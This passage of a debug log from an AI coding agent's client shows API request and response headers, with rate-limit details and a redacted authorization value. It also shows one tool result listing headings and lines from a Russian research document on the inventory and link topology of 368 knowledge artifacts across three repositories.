\"x-stainless-arch\": \"x64\",\n[2026-09-29T07:45:47.559Z] [STDOUT]     \"x-stainless-lang\": \"js\",\n[2026-09-29T07:45:47.562Z] [STDOUT]     \"x-stainless-os\": \"Linux\",\n[2026-09-29T07:45:47.567Z] [STDOUT]     \"x-stainless-package-version\": \"0.112.1\",\n[2026-09-29T07:45:47.570Z] [STDOUT]     \"x-stainless-retry-count\": \"0\",\n[2026-09-29T07:45:47.575Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T07:45:47.580Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T07:45:47.583Z] [STDOUT]     \"x-stainless-timeout\": \"600\",\n[2026-09-29T07:45:47.586Z] [STDOUT]   },\n[2026-09-29T07:45:47.588Z] [STDOUT] }\n[2026-09-29T07:45:48.088Z] [STDOUT] [log_62fc3f, request-id: \"req_011CfXMnQyUFtdGGZnruRBJ5\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 881ms\n[2026-09-29T07:45:48.091Z] [STDOUT] [log_62fc3f] response start {\n[2026-09-29T07:45:48.094Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:45:48.098Z] [STDOUT]   status: 200,\n[2026-09-29T07:45:48.100Z] [STDOUT]   headers: {\n[2026-09-29T07:45:48.106Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:45:48.111Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:45:48.117Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:45:48.119Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.36\",\n[2026-09-29T07:45:48.125Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:45:48.128Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:45:48.134Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:45:48.144Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:45:48.150Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:45:48.161Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:45:48.168Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:45:48.172Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:45:48.178Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:45:48.181Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:45:48.185Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:45:48.190Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T07:45:48.192Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:45:48.200Z] [STDOUT]     \"cf-ray\": \"a4295ece1c044d8b-FRA\",\n[2026-09-29T07:45:48.203Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:45:48.207Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T07:45:48.215Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:45:48.227Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:45:48.239Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:45:48 GMT\",\n[2026-09-29T07:45:48.243Z] [STDOUT]     \"request-id\": \"req_011CfXMnQyUFtdGGZnruRBJ5\",\n[2026-09-29T07:45:48.252Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:45:48.256Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:45:48.265Z] [STDOUT]     traceresponse: \"00-a6496799d89091ce27f3d35a8f84aa99-395bf1f30b0e5ee6-01\",\n[2026-09-29T07:45:48.271Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:45:48.282Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:45:48.290Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:45:48.298Z] [STDOUT]   },\n[2026-09-29T07:45:48.304Z] [STDOUT]   durationMs: 881,\n[2026-09-29T07:45:48.308Z] [STDOUT] }\n[2026-09-29T07:45:48.320Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T07:45:48.324Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 07:45:48 GMT\",\n[2026-09-29T07:45:48.329Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:45:48.332Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:45:48.334Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T07:45:48.338Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T07:45:48.341Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:45:48.346Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T07:45:48.349Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T07:45:48.352Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:45:48.355Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:45:48.365Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:45:48.369Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:45:48.372Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:45:48.383Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.36\",\n[2026-09-29T07:45:48.386Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:45:48.389Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:45:48.394Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:45:48.398Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:45:48.402Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:45:48.409Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:45:48.415Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:45:48.420Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:45:48.428Z] [STDOUT]   \"request-id\": \"req_011CfXMnQyUFtdGGZnruRBJ5\",\n[2026-09-29T07:45:48.436Z] [STDOUT]   \"traceresponse\": \"00-a6496799d89091ce27f3d35a8f84aa99-395bf1f30b0e5ee6-01\",\n[2026-09-29T07:45:48.450Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:45:48.459Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:45:48.466Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:45:48.470Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:45:48.472Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:45:48.476Z] [STDOUT]   \"cf-ray\": \"a4295ece1c044d8b-FRA\",\n[2026-09-29T07:45:48.480Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:45:48.485Z] [STDOUT] [log_62fc3f] response parsed {\n[2026-09-29T07:45:48.489Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:45:48.494Z] [STDOUT]   status: 200,\n[2026-09-29T07:45:48.498Z] [STDOUT]   body: X {\n[2026-09-29T07:45:48.502Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:45:48.506Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:45:48.509Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:45:48.511Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:45:48.516Z] [STDOUT]     },\n[2026-09-29T07:45:48.522Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:45:48.526Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:45:48.530Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:45:48.534Z] [STDOUT]   },\n[2026-09-29T07:45:48.537Z] [STDOUT]   durationMs: 882,\n[2026-09-29T07:45:48.541Z] [STDOUT] }\n[2026-09-29T07:45:48.545Z] [INFO] {\n[2026-09-29T07:45:48.545Z] [INFO]   \"type\": \"user\",\n[2026-09-29T07:45:48.545Z] [INFO]   \"message\": {\n[2026-09-29T07:45:48.545Z] [INFO]     \"role\": \"user\",\n[2026-09-29T07:45:48.545Z] [INFO]     \"content\": [\n[2026-09-29T07:45:48.545Z] [INFO]       {\n[2026-09-29T07:45:48.545Z] [INFO]         \"tool_use_id\": \"toolu_014Tb7BHBx82fWAbWUnnuumV\",\n[2026-09-29T07:45:48.545Z] [INFO]         \"type\": \"tool_result\",\n[2026-09-29T07:45:48.545Z] [INFO]         \"content\": \"23:# \u0418\u043d\u0432\u0435\u043d\u0442\u0430\u0440\u0438\u0437\u0430\u0446\u0438\u044f \u0437\u043d\u0430\u043d\u0438\u0439 \u044d\u043a\u043e\u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0438 \u0442\u043e\u043f\u043e\u043b\u043e\u0433\u0438\u044f \u0441\u0432\u044f\u0437\u0435\u0439: \u0437\u0430\u043c\u0435\u0440 \u043d\u0430 2026-09-07\\n33:## \u041c\u0435\u0442\u043e\u0434\\n48:## 1. \u0420\u0430\u0437\u043c\u0435\u0440 \u043a\u043e\u0440\u043f\u0443\u0441\u0430\\n50:**368 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u043e\u0432 \u0437\u043d\u0430\u043d\u0438\u044f** \u0432 \u0442\u0440\u0451\u0445 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f\u0445.\\n56:| [`clarify-engine-ai`](https://github.com/G-Ivan-A/clarify-engine-ai) | 53 | 14 % | \u0421\u043f\u0438\u0446\u0430: \u0434\u0432\u0438\u0436\u043e\u043a \u0440\u0430\u0437\u0431\u043e\u0440\u0430 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0439 (RAG) |\\n58:## 2. \u0420\u0435\u0435\u0441\u0442\u0440 \u043f\u043e \u043a\u043b\u0430\u0441\u0441\u0430\u043c\\n63:| Standard | 53 | 26 | 19 | 8 |\\n83:## 3. \u0420\u0435\u0435\u0441\u0442\u0440 \u043f\u043e \u0441\u0442\u0430\u0442\u0443\u0441\u0430\u043c\\n88:| \u0431\u0435\u0437 frontmatter | 53 | 14,4 % |\\n96:\u043d\u043e\u0440\u043c\u0430\u00bb (`canonical` + `accepted`), \u0441\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 **48 \u0438\u0437 368 \u2014 13 %**. \u0412\u0441\u0435 53\\n102:## 4. BA-\u0441\u043b\u043e\u0439\\n120:| **\u0418\u0442\u043e\u0433\u043e** | **114** |\\n134:\u044d\u0442\u043e\u0442 \u0432\u043e\u043f\u0440\u043e\u0441 \u0440\u0435\u0448\u0451\u043d \u043f\u0440\u043e\u0447\u0442\u0435\u043d\u0438\u0435\u043c \u0432\u0441\u0435\u0445 53 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u043e\u0432 \u2014 \u00a75.3.\\n136:## 5. \u0422\u043e\u043f\u043e\u043b\u043e\u0433\u0438\u044f\\n141:### 5.1. \u041c\u0435\u0436\u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u043d\u044b\u0435 \u0441\u0432\u044f\u0437\u0438 \u0430\u0441\u0438\u043c\u043c\u0435\u0442\u0440\u0438\u0447\u043d\u044b\\n162:### 5.3. \u0421\u043e\u0434\u0435\u0440\u0436\u0430\u0442\u0435\u043b\u044c\u043d\u0430\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 `clarify-engine-ai`: 0 \u0440\u0451\u0431\u0435\u0440 \u2260 0 \u0440\u0435\u043b\u0435\u0432\u0430\u043d\u0442\u043d\u043e\u0441\u0442\u0438\\n167:\u0447\u0442\u0435\u043d\u0438\u0435\u043c, \u0430 \u043d\u0435 \u043f\u043e\u0434\u0441\u0447\u0451\u0442\u043e\u043c \u0441\u0441\u044b\u043b\u043e\u043a, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u0432\u0441\u0435 53 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430 \u043f\u0440\u043e\u0447\u0438\u0442\u0430\u043d\u044b \u0438 \u0440\u0430\u0437\u043c\u0435\u0447\u0435\u043d\u044b\\n207:### 5.2. \u0426\u0435\u043d\u0442\u0440\u044b \u043f\u0440\u0438\u0442\u044f\u0436\u0435\u043d\u0438\u044f (\u0432\u0445\u043e\u0434\u044f\u0449\u0430\u044f \u0441\u0442\u0435\u043f\u0435\u043d\u044c)\\n236:### 5.3. \u0418\u0437\u043e\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0443\u0437\u043b\u044b\\n244:### 5.4. \u041a\u0430\u0440\u0442\u0430 \u0437\u043d\u0430\u043d\u0438\u0439 (\u0442\u043e\u043f\u043e\u043b\u043e\u0433\u0438\u0447\u0435\u0441\u043a\u0430\u044f)\\n296:  PARSE -.->|\\\"\u0437\u043d\u0430\u043d\u0438\u0435 \u0435\u0441\u0442\u044c, \u043a\u0430\u043d\u0430\u043b \u043d\u0430\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u0435\u0442(0 \u0440\u0451\u0431\u0435\u0440 \u043a \u0425\u0430\u0431\u0443 \u0438 Mango; 8 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c\u043e\u0432 \u043a\u043b\u0430\u0441\u0441\u0430 R1)\\\"| MU\\n308:## 6. \u0427\u0442\u043e \u044d\u0442\u043e\u0442 \u0437\u0430\u043c\u0435\u0440 \u043d\u0435 \u043f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442\\n324:## \u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0438\\n**4.2. \u0422\u0417 \u043f\u0440\u0438\u0445\u043e\u0434\u0438\u0442 \u043d\u0430 \u0432\u0445\u043e\u0434 \u0447\u0430\u0449\u0435, \u0447\u0435\u043c \u0432\u044b\u0445\u043e\u0434\u0438\u0442 \u043d\u0430 \u0432\u044b\u0445\u043e\u0434\u0435.** \u041d\u0430\u0431\u043b\u044e\u0434\u0430\u0435\u043c\u043e\u0435 \u043e\u0442\u043d\u043e\u0448\u0435\u043d\u0438\u0435\\n\u2014 4 \u043a 0. \u041f\u0440\u043e\u0433\u043e\u043d\u044b\\n[`RUN-0055`](https://github.com/G-Ivan-A/mango_ba_prompts/tree/main/runs/2026/RUN-0055)\\n\u0438\\n[`RUN-0057`](https://github.com/G-Ivan-A/mango_ba_prompts/tree/main/runs/2026/RUN-0057)\\n\u043e\u0446\u0435\u043d\u0438\u0432\u0430\u044e\u0442 \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u043c\u043e\u0441\u0442\u044c **\u0447\u0443\u0436\u043e\u0433\u043e** \u0422\u0417 (\u0442\u0435\u043d\u0434\u0435\u0440\u043d\u0430\u044f \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u044f \u0437\u0430\u043a\u0430\u0437\u0447\u0438\u043a\u0430). \u0412\\n\u043b\u0438\u043d\u0435\u0439\u043d\u043e\u0439 \u0434\u0435\u043a\u043e\u043c\u043f\u043e\u0437\u0438\u0446\u0438\u0438 \u0422\u0417 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442 \u0442\u043e\u043b\u044c\u043a\u043e \u043a\u0430\u043a \u0432\u044b\u0445\u043e\u0434 `M2`, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u0442\u0430\u043a\u043e\u0439 \u0432\u0445\u043e\u0434\\n\u043d\u0435 \u0432\u044b\u0440\u0430\u0436\u0430\u0435\u0442\u0441\u044f \u0432\u043e\u0432\u0441\u0435 \u2014 \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u043f\u0440\u0438\u0445\u043e\u0434\u0438\u0442\u0441\u044f \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u043a\u0430\u043a \u0438\u0441\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435. \u0412 \u0441\u043b\u043e\u0435\u0432\u043e\u0439 \u043e\u043d\\n\u0432\u044b\u0440\u0430\u0436\u0430\u0435\u0442\u0441\u044f \u0448\u0442\u0430\u0442\u043d\u043e: `M0` \u2014 \u044d\u0442\u043e \u00ab\u0434\u0430\u043d\u043d\u044b\u0435 \u043d\u0430 \u0432\u0445\u043e\u0434\u00bb, \u0430 \u043d\u0435 \u00ab\u0441\u044b\u0440\u043e\u0435 \u043e\u0431\u0440\u0430\u0449\u0435\u043d\u0438\u0435\u00bb, \u0438 \u043a\u043b\u0430\u0441\u0441\\n`IA-2` (\u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0435 baseline) \u0432 \u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u0438\\n[`normalization/20-taxonomy.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/normalization/20-taxonomy.md)\\n\u0443\u0436\u0435 \u0434\u043e\u043f\u0443\u0441\u043a\u0430\u0435\u0442 \u043d\u0430 \u0432\u0445\u043e\u0434\u0435 \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0435 \u0422\u0417.\",\n[2026-09-29T07:45:48.545Z] [INFO]         \"is_error\": false\n[2026-09-29T07:45:48.545Z] [INFO]       }\n[2026-09-29T07:45:48.545Z] [INFO]     ]\n[2026-09-29T07:45:48.545Z] [INFO]   },\n[2026-09-29T07:45:48.545Z] [INFO]   \"parent_tool_use_id\": \"toolu_01GFx7YR63TmqWwLsYXBMEow\",\n[2026-09-29T07:45:48.545Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:45:48.545Z] [INFO]   \"uuid\": \"4a3426f5-5623-408c-8a2f-8d6d44f4eed9\",\n[2026-09-29T07:45:48.545Z] [INFO]   \"timestamp\": \"2026-09-29T07:45:48.469Z\",\n[2026-09-29T07:45:48.545Z] [INFO]   \"subagent_type\": \"general-purpose\",\n[2026-09-29T07:45:48.545Z] [INFO]   \"task_description\": \"Analyze ba-requirements research\"\n[2026-09-29T07:45:48.545Z] [INFO] }\n[2026-09-29T07:45:48.551Z] [STDOUT] [log_d041ef] sending request {\n[2026-09-29T07:45:48.555Z] [STDOUT]   method: \"POST\",\n[2026-09-29T07:45:48.558Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:45:48.560Z] [STDOUT]   options: {\n[2026-09-29T07:45:48.563Z] [STDOUT]     method: \"post\",\n[2026-09-29T07:45:48.568Z] [STDOUT]     path: \"/v1/messages?beta=true\",\n[2026-09-29T07:45:48.573Z] [STDOUT]     body: {\n[2026-09-29T07:45:48.581Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T07:45:48.592Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T07:45:48.596Z] [STDOUT]       system: [Array ...],\n[2026-09-29T07:45:48.601Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T07:45:48.604Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T07:45:48.608Z] [STDOUT]       max_tokens: 128000,\n[2026-09-29T07:45:48.615Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T07:45:48.629Z] [STDOUT]       context_management: [Object ...],\n[2026-09-29T07:45:48.640Z] [STDOUT]       output_config: [Object ...],\n[2026-09-29T07:45:48.655Z] [STDOUT]       thread: [Object ...],\n[2026-09-29T07:45:48.659Z] [STDOUT]       diagnostics: [Object ...],\n[2026-09-29T07:45:48.665Z] [STDOUT]       stream: true,\n[2026-09-29T07:45:48.670Z] [STDOUT]     },\n[2026-09-29T07:45:48.675Z] [STDOUT]     timeout: 600000,\n[2026-09-29T07:45:48.682Z] [STDOUT]     signal: AbortSignal {\n[2026-09-29T07:45:48.686Z] [STDOUT]       [Symbol(events.maxEventTargetListeners)]: 50,\n[2026-09-29T07:45:48.689Z] [STDOUT]       [Symbol(events.maxEventTargetListenersWarned)]: false,\n[2026-09-29T07:45:48.699Z] [STDOUT]       aborted: false,\n[2026-09-29T07:45:48.706Z] [STDOUT]       reason: undefined,\n[2026-09-29T07:45:48.713Z] [STDOUT]       onabort: null,\n[2026-09-29T07:45:48.718Z] [STDOUT]       throwIfAborted: [Function: throwIfAborted],\n[2026-09-29T07:45:48.721Z] [STDOUT]       addEventListener: [Function: addEventListener],\n[2026-09-29T07:45:48.724Z] [STDOUT]       removeEventListener: [Function: removeEventListener],\n[2026-09-29T07:45:48.731Z] [STDOUT]       dispatchEvent: [Function: dispatchEvent],\n[2026-09-29T07:45:48.745Z] [STDOUT]     },\n[2026-09-29T07:45:48.762Z] [STDOUT]     stream: true,\n[2026-09-29T07:45:48.767Z] [STDOUT]   },\n[2026-09-29T07:45:48.770Z] [STDOUT]   headers: {\n[2026-09-29T07:45:48.773Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T07:45:48.775Z] [STDOUT]     \"anthropic-beta\": \"claude-code-20250219,oauth-2025-04-20,interleaved-thinking-2025-05-14,thinking-token-count-2026-05-13,context-management-2025-06-27,prompt-caching-scope-2026-01-05,mid-conversation-system-2026-04-07,per-turn-control-2026-07-01,mid-conversation-tool-changes-2026-07-01,advisor-tool-2026-03-01,advanced-tool-use-2025-11-20,mid-conversation-system-clear-at-2026-08-21,effort-2025-11-24,thinking-binding-controls-2026-08-01,thinking-display-updates-2026-08-18,cache-diagnosis-2026-04-07,message-threads-2026-08-12\",\n[2026-09-29T07:45:48.779Z] [STDOUT]     \"anthropic-dangerous-direct-browser-access\": \"true\",\n[2026-09-29T07:45:48.783Z] [STDOUT]     \"anthropic-dispatch-id\": \"v2d\",\n[2026-09-29T07:45:48.785Z] [STDOUT]     \"anthropic-version\": \"2023-06-01\",\n[2026-09-29T07:45:48.791Z] [STDOUT]     authorization: \"[REDACTED]\",\n[2026-09-29T07:45:48.803Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T07:45:48.804Z] [STDOUT]     \"user-agent\": \"claude-cli/2.1.284 (external, sdk-cli)\",\n[2026-09-29T07:45:48.811Z] [STDOUT]     \"x-app\": \"cli\",\n[2026-09-29T07:45:48.818Z] [STDOUT]     \"x-claude-code-agent-id\": \"a8223c4e8f50f54ab\",\n[2026-09-29T07:45:48.823Z] [STDOUT]     \"x-claude-code-agent-type\": \"general-purpose\",\n[2026-09-29T07:45:48.827Z] [STDOUT]     \"x-claude-code-prev-tool-durations\": \"Bash=1562\",\n[2026-09-29T07:45:48.841Z] [STDOUT]     \"x-claude-code-prompt-id\": \"0c6b6133-0ba4-48fe-8f91-a84541ac33b7\",\n[2026-09-29T07:45:48.849Z] [STDOUT]     \"x-claude-code-request-class\": \"subagent\",\n[2026-09-29T07:45:48.859Z] [STDOUT]     \"x-claude-code-session-id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:45:48.876Z] [STDOUT]     \"x-client-request-id\": \"7322ec6f-e603-49c6-8640-98030b89e23a\",\n[2026-09-29T07:45:48.883Z] [STDOUT]     \"x-stainless-arch\": \"x64\",\n[2026-09-29T07:45:48.887Z] [STDOUT]     \"x-stainless-lang\": \"js\",\n[2026-09-29T07:45:48.892Z] [STDOUT]     \"x-stainless-os\": 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\"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:45:49.566Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:45:49.571Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:45:49.576Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.36\",\n[2026-09-29T07:45:49.578Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:45:49.582Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:45:49.586Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:45:49.595Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:45:49.599Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:45:49.605Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:45:49.609Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:45:49.615Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:45:49.624Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:45:49.628Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:45:49.632Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:45:49.635Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T07:45:49.640Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:45:49.644Z] [STDOUT]     \"cf-ray\": \"a4295ed62cc529ad-FRA\",\n[2026-09-29T07:45:49.650Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:45:49.653Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T07:45:49.659Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:45:49.663Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:45:49.666Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:45:49 GMT\",\n[2026-09-29T07:45:49.670Z] [STDOUT]     \"request-id\": \"req_011CfXMnWPuNqPjRS5CEVDbA\",\n[2026-09-29T07:45:49.674Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:45:49.683Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:45:49.690Z] [STDOUT]     traceresponse: \"00-2b2539e84a9c582536c7c47a2cb8e70a-67fb11ad8a9c8f7b-01\",\n[2026-09-29T07:45:49.704Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:45:49.709Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:45:49.715Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:45:49.731Z] [STDOUT]   },\n[2026-09-29T07:45:49.735Z] [STDOUT]   durationMs: 1044,\n[2026-09-29T07:45:49.738Z] [STDOUT] }\n[2026-09-29T07:45:49.744Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T07:45:49.751Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 07:45:49 GMT\",\n[2026-09-29T07:45:49.754Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:45:49.758Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:45:49.764Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T07:45:49.769Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T07:45:49.772Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:45:49.778Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T07:45:49.783Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T07:45:49.820Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:45:49.830Z] [STDOUT]   